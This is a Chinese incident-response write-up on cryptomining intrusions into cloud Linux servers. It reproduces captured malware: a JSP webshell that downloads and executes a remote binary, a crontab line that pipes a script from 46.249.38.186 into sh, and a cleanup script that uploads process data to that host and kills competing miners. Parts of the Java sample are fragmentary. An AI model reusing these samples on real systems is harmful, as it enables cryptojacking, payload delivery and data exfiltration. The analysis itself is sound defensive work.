Linux 服务器挖矿事件跟踪与修复建议
根据对近期入侵事件排查，大约80%为公有云挖矿事件。而且目前挖矿软件会集中在公有云物理机、GPU主机以及高CPU的云主机上，最终导致公有云底层物理机资源分配紧张，影响到营收。在此背景下，应急响应团队着手调查此类挖矿事件。
0x01、脚本分析
目前活跃的部分矿池：
https://monerohash.com
https://monero.hashvault.pro/en/
xcn1.yiluzhuanqian.com
http://pool.supportxmr.com/
…
归纳起来，主要是分两类，第一类为有界面的通过账号能看到收益的正规矿池，只是黑客把它的客户端包含在自己的恶意挖矿linux程序当中。另外一类就是自己搭建的矿池，这样更有隐蔽性，但是很有可能在短时间内被和谐。
入侵手段也是五花八门：
这里面举几个例子：
通过Apache Tomcat CVE-2017-12617 JSP上传漏洞，进入到云主机内部的比较多。获取的脚本：
osList;
String tomcatOS = "0";
String DEFAULT = "0";
String WINDOWS = "1";
String LINUX = "2";
osList = new ArrayList();
osList.add("Linux");
osList.add("Windows");
for (String os : osList) {
if (localOS.contains(os)) {
if (os.equals("Linux")) {
tomcatOS = LINUX;
} else if (os.equals("Windows")) {
tomcatOS = WINDOWS;
} else {
tomcatOS = DEFAULT;
}
break;
}
}
out.write(tomcatOS + "");
response.setHeader("OS", tomcatOS);
return;
}
%>
/dev/null 2>&1 &");
}
} catch (Exception e1) {
e1.printStackTrace();
}
continue;
}
URL downloadUrl = new URL(urls[i]);
HttpURLConnection conn = (HttpURLConnection) downloadUrl.openConnection();
conn.setConnectTimeout(60000 * 3);
conn.setReadTimeout(60000 * 3);
fileInputSteam = conn.getInputStream();
fileOutputStream = new FileOutputStream(path + fileName);
int length = -1;
byte[] b = new byte[409600];
while ((length = fileInputSteam.read(b)) != -1) {
fileOutputStream.write(b, 0, length);
fileOutputStream.flush();
}
if (conn != null) {
conn.disconnect();
}
if (fileInputSteam != null) {
fileInputSteam.close();
}
if (fileOutputStream != null) {
fileOutputStream.close();
}
Runtime exec = Runtime.getRuntime();
if (systemCode == 1) {
exec.exec(path + fileName);
} else {
String chmod = "chmod 777 " + path + fileName;
exec.exec(chmod);
exec.exec("nohup " + path + fileName + " > /dev/null 2>&1 &");
}
} catch (Exception e2) {
e2.printStackTrace();
}
}
%>
然后，我们登陆云主机通过Top命令发现。java程序占用大量CPU资源
PID User PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND591 yarn 20 0 909m 17m 592 S 632.7 0.1% 977:50.22 java...
在tmp目录下发现了挖矿木马 java程序，查看
crontab-u yarn -l
***** wget -q-0 - http://46.249.38.186/cr.sh|sh >dev/null
下载cr.sh脚本如下：主要是干掉重复进程
#!/bin/bash
sed -i '$d' /etc/ld.so.preload
crontab -l | sed '/46.249.38.186/d' | crontab -
ps aux --sort=-pcpu > /tmp/tmp2.txt
#netstat -antp > /tmp/tmp2.txt
#crontab -l > /tmp/tmp2.txt
#ps -eo uid,pid,ppid,stime,%cpu,cmd --sort=-%cpu |grep -v STIME| head>/tmp/tmp2.txt
#top -c -n 1 -b > /tmp/tmp.txt
curl -F "file=@/tmp/tmp2.txt" http://46.249.38.186/rep.php
rm -rf /tmp/tmp2.txt
pkill -f systemctI
pkill -f kworkerds
pkill -f init10.cfg
pkill -f wl.conf
pkill -f crond64
pkill -f watchbog
pkill -f sustse
ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>11{print $2}' | xargs kill -9